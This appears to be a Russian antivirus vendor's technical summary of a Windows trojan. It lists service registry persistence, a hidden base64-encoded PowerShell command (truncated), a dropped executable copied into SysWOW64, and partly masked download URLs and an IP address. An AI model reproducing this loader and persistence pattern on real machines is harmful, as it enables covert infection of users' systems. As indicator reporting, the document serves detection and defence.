Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ipmispecial] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ipmispecial] 'ImagePath' = '"%WINDIR%\SysWOW64\ipmispecial.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABNAHkAdAB0AGkAbABlAHUAaQB3AGMAPQAnAE0AZgBjAHYAcgBmAGIAdQB4AG4AYQAnADsAJABSAGEAaQBpAG4AegBhAGUAYgAgAD0AIAAnADIAMgA5ACcAOwAkAFYAbwBuAGsAYQBvAGQAaAA9ACcAQgBiAHIAegBpAHoAaABwAGQAcgB...
- %HOMEPATH%\229.exe
- %HOMEPATH%\229.exe в %WINDIR%\syswow64\ipmispecial.exe
- http://ja###cing.com/996tt/UNID/
- http://19#.##1.143.52:8080/Hxh4BpKU via 19#.#41.143.52
- DNS ASK ja###cing.com
- '%HOMEPATH%\229.exe'
- '%WINDIR%\syswow64\ipmispecial.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABNAHkAdAB0AGkAbABlAHUAaQB3AGMAPQAnAE0AZgBjAHYAcgBmAGIAdQB4AG4AYQAnADsAJABSAGEAaQBpAG4AegBhAGUAYgAgAD0AIAAnADIAMgA5ACcAOwAkAFYAbwBuAGsAYQBvAGQAaAA9ACcAQgBiAHIAegBpAHoAaABwAGQAcgB...' (со скрытым окном)